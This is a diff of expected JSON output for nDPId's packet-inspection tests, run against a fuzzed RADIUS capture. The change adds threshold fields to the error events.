01451{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_src_last_pkt_time":1528997311323632,"flow_dst_last_pkt_time":1528997311323632,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"thread_ts_usec":1528997311323632,"pkt":"AAAMB6xAABRP+4rqCABFAALbIQZAAP8RAAAKDEAexuAZNXIQBxQCxwAAAVACv44mJt0CcxbAbqYZaENsgGMaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfIdQlXSVNQUmMwGgkAADghDQMxNwZbIqW\/ATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLk1jYzMxMS4zZ3BwbmV0d29ydi5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYmZiM2E1MjI1YiwgNXIyMmE1YjMvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjIyBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwNbGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQIAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGxFBKmVASgNwWy5gYQ7uGHIUIDaTD8g=="} @@ -206,12 +206,12 @@ 00924{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":143,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":22,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997257373354,"flow_src_last_pkt_time":1528997257373354,"flow_dst_last_pkt_time":1528997257373354,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997311984100,"l3_proto":"ip4","src_ip":"198.230.25.62","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00924{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":143,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":26,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997265856181,"flow_src_last_pkt_time":1528997265856181,"flow_dst_last_pkt_time":1528997265856181,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997311984100,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":30224,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00923{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":143,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":27,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997266054389,"flow_src_last_pkt_time":1528997266054389,"flow_dst_last_pkt_time":1528997266054389,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997311984100,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.56.64.30","src_port":1812,"dst_port":9472,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00203{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":145,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528997395223381} +00303{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997395223381,"packet_id":145,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528997395223381} 01258{"packet_event_id":1,"packet_event_name":"packet","packet_id":145,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":725,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"thread_ts_usec":1528997394907427,"pkt":"AAAMqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00773{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":148,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":30,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997399308771,"flow_src_last_pkt_time":1528997399308771,"flow_dst_last_pkt_time":1528997399308771,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997399308771,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.37.0","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00776{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_src_last_pkt_time":1528997399308771,"flow_dst_last_pkt_time":1528997399308771,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"thread_ts_usec":1528997399308771,"pkt":"ABRPJQDqcNuYVcUnCABFAADhALRAAPwRUxbG4hk1CgwlAAcUchAAzVpOC1QAxRxqj+ts\/zbuXZza\/XyA7U4BNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b1ZrLm9yZywgNWIyMiUAMTIvZjA6Nxk6NjA6ZDE6N2S6MzcvMjI0T0oBAgBIFwEAAAEFAAClYf4DzpLiqdyPyTgI99pYAgUAAG+BQKA0HAAAC9tSu9kUjAmLAQACCwUAANTPOn7BAwke3m06BT0FpdxQErKfyMWPNDJCfwFi2pzKF6M="} 00882{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":148,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":30,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997399308771,"flow_src_last_pkt_time":1528997399308771,"flow_dst_last_pkt_time":1528997399308771,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997399308771,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.37.0","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00200{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":150,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528997399801176} +00300{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997399801176,"packet_id":150,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528997399801176} 00717{"packet_event_id":1,"packet_event_name":"packet","packet_id":150,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"thread_ts_usec":1528997399604843,"pkt":"ABRP+4pTcNuYVcUnCAAbAAEwAL1AAPwRUr7G4hk1CgxAHgcUchABHDwbAlUBFM63G2\/ABME95vC\/YtPM3\/caCwAAV8gbBVNQQxpuAAABNxA0xuSFjY5XIJgFQGu0Uv0OYONLFS6YzD8pAXH0KZXHpfwyK4L\/92l5H6gqAq8nL0kepb8RNLxJYMKQCK0eGlYCRiBKtSavfrre3EDS6oPiPCuIZCCfvU44Ccl11WwK9jFxTgAolMtFATUwMzFPNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1DYzMxMS4zZ3BwbmV0d29yay5vcmcsIDViMjJhNjEyL2YwOjc5OjYwOmQxOjdkOjM3LzIyNFkMOTA4NDIxMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBL2pfBK3Ll7exMTohpXZCAH"} 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":151,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":31,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997403593616,"flow_src_last_pkt_time":1528997403593616,"flow_dst_last_pkt_time":1528997403593616,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997403593616,"l3_proto":"ip4","src_ip":"10.12.64.110","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01450{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_src_last_pkt_time":1528997403593616,"flow_dst_last_pkt_time":1528997403593616,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"thread_ts_usec":1528997403593616,"pkt":"AAAMB6xAABRP+4rqCABFAALbIQxAAP8RAAAKDEBuxuIZNXIQBxQCxwAAAVYCv+kKLAd5QTZEtH35XGAZbVIaCgAAV8gOBMFTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMwNwZbIqYbATUwMzExNDgwMDczNmM4MDcyQHdkYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQgLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYzExMmE2MjI1YiwgNWIyMmE2MTIvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjI0BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAEBRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ZTAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} @@ -232,9 +232,9 @@ 00924{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":155,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":26,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997265856181,"flow_src_last_pkt_time":1528997265856181,"flow_dst_last_pkt_time":1528997265856181,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997404349931,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":30224,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00924{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":155,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":29,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997311323632,"flow_src_last_pkt_time":1528997311323632,"flow_dst_last_pkt_time":1528997311323632,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997404349931,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.224.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00923{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":155,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":27,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997266054389,"flow_src_last_pkt_time":1528997266054389,"flow_dst_last_pkt_time":1528997266054389,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997404349931,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.56.64.30","src_port":1812,"dst_port":9472,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00203{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":155,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528997476267452} +00303{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997476267452,"packet_id":155,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528997476267452} 01286{"packet_event_id":1,"packet_event_name":"packet","packet_id":155,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":745,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"thread_ts_usec":1528997404349931,"pkt":"AAAMB6xAABRPqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} -00203{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":156,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528997476466897} +00303{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997476466897,"packet_id":156,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528997476466897} 00610{"packet_event_id":1,"packet_event_name":"packet","packet_id":156,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":239,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":239,"pkt_l4_len":0,"thread_ts_usec":1528997404349931,"pkt":"ABRP+4rqcNuqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00773{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":157,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":33,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997476761239,"flow_src_last_pkt_time":1528997476761239,"flow_dst_last_pkt_time":1528997476761239,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":683,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":683,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":683,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997476761239,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.37.0","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01422{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_src_last_pkt_time":1528997476761239,"flow_dst_last_pkt_time":1528997476761239,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"thread_ts_usec":1528997476761239,"pkt":"AAAMB6xAABRP+4rqCABFAALHIQ9AAP8RAAAKDEAexuIlAHIQBxQCswAAAVkCqxzt3wAE2R1LMmmDUD0Gdm8aCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwJQAAADghDQM3N0xbIqZkATUwMzExNDgwMjUwODY0NjI4QHdsYW4uVm6qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} @@ -258,7 +258,7 @@ 00739{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":161,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":34,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997632285653,"flow_src_last_pkt_time":1528997632285653,"flow_dst_last_pkt_time":1528997632285653,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":691,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":691,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":691,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997632285653,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","l4_proto":112,"flow_datalink":1,"flow_max_packets":3} 01422{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":161,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_src_last_pkt_time":1528997632285653,"flow_dst_last_pkt_time":1528997632285653,"flow_idle_time":620000000,"pkt_oversize":false,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"thread_ts_usec":1528997632285653,"pkt":"AAAMu6xAABRP+4rqCABFAALHIRFAAP9wAAAKDEAexuIZNXIQBxQCswAAAVsCq00mnArJWXX+N3JhhZON0ToaCgBDV8gOBFVTGgwAAFfIDQZ3aWZpGg8ACFfICQlXSVNQUjEwGgkAADghDQMzNwZbIqcAATUwMzExNDgwMjUwODY0NjI4QHdsYW4ubW5jNDgwLm1jYzMxNS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TMDAtNTYtY2QtNmQtNDItNSkeJTZjLaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 